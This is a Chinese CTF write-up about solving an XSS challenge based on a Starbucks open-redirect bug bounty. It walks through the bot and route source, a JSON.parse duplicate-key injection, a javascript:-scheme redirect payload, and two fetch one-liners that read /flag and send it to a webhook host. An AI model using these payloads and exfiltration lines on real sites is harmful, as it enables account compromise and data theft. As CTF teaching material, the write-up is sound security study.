starbuck的XSS Bug Bounty改编而成的CTF题目,由我引导团队内一位来自高中的学弟做出(真的卷,高中就开始玩CTF),从而引发出来的思考和记录,作为本公众号的第一篇技术文章。Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后
XSS题目,题目只提供部分源码,我习惯于先看一下bot代码确定flag位置。这类型题目的考点大概分为两大类,一类要求你伪造cookies作为admin访问对应路由,另一类则直接获取cookies flag在cookies里面。bot源码如下:
1const cookies = [{
2 name: 'jsession',
3 value: 'DELETE',
4 domain: "127.0.0.1",
5 httpOnly:true
6}];
7
8const bot = async function (url){
9 const URL = parse(url, true)
10 try{
11 const browser = await puppeteer.launch({
12 headless: true,
13 args: [
14 '--no-sandbox',
15 '--disable-setuid-sandbox',
16 '--disable-dev-shm-usage'
17 ],
18 dumpio: true,
19 });
20 page = await browser.newPage('http://127.0.0.1:80');
21 await page.setCookie(...cookies);
22
23 console.log(URL.href)
24 await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
25 setTimeout(() => {
26 browser.close();
27 }, 4000);
28 } catch (err) {
29 console.log(`err : ${err}`);
30 }
31}
httponly为true,且value值为delete,无法明确是要我们要通过bypass手段,还是参数本身就是delete,这种情况还是继续回归源码。/flag路由我们就清楚这道题目是需要伪造cookies为admin,再请求/flag路由,读取flag。 1router.get('/', (req, res) => {
2 const blog = req.query.blog || 'https://xxxx.com';
3 const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
4 const url = parse(user['setblog'], true)
5 , hostname = url.hostname;
6
7 if (hostname === 'xxx.com' && user['username'] === 'hello') {
8 console.log(1)
9 res.render('index', {url:url});
10 } else {
11 res.render('index', {url:'#'});
12 }
13});
1学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`,但是具体咋做不太懂。"
2我: "我知道你急,但你先别急,你先看上面哪些函数是你见过的,你也打一个多月CTF了。"
3学弟: "JSON.parse!可以原型链污染!"
4我: "啊...?"
JSON.parse参数可控他立刻就想到了原型链污染,但首先要明确原型链污染构成的条件,是要控制类的原型。JSON.parse能把__proto__认为成一个键名,所以在如果有merge、copy这类函数进行操作配合JSON.parse才能进行原型链污染。而且原型链污染要干嘛问他也是一问三不知,所以我引导他看JSON.parse和判断条件。json中出现两个相同的键名会怎样呢?”Get到了我的意思,构造出了如下字符串:","username":"hellousername值,那我们输入正常的url,就是上面的xxx.com,然后输出调试一下。url_parse的结果,能够控制host为xxx.com,但是render url后又会怎么样呢?我们可以去看靶机。xxx.com该怎么办呢?”url-parse的解析手册和一些ssrf查看的手法后告诉我一无所获…1学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了,javascript也是协议啊!javascript://alert(1)这样是可以的,如果有host我又蒙了...
2我: "建议你去搜索一下bug bounty,这道题目的设计就是基于某个redirect xss的。"
redirect xss找到了hacker-one星巴克的一个洞。payload。xss,发生在很多可以跳转本站链接中,没多久他又说:“不行,执行不了。”json传参的错误,我继续问他:“那么什么符号导致的?”。%0a再编一次码”。但实际上使用编码,比如unicode,也是完全可以的,最后他成功获得了xss。javascript://xxx.com/%250Aalert(1)","username":"hello
到这里我们可以来梳理下思路,题目主要考查的是open redirect xss通过JSON.parse解析中的闭合修改username,关键在于能否敏锐捕捉到javascript协议。
其中他经历的挫折很大程度上是以下几点:1. 懒,没多本地调试更没有多思考;2. 没有充分利用搜索引擎,如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。
1fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))
1fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});
return就可以了。RealWorld改写的CTF题目含金量比较高,也不是很难,自己尝试调试思考,才是学习安全脚踏实力的唯一方法!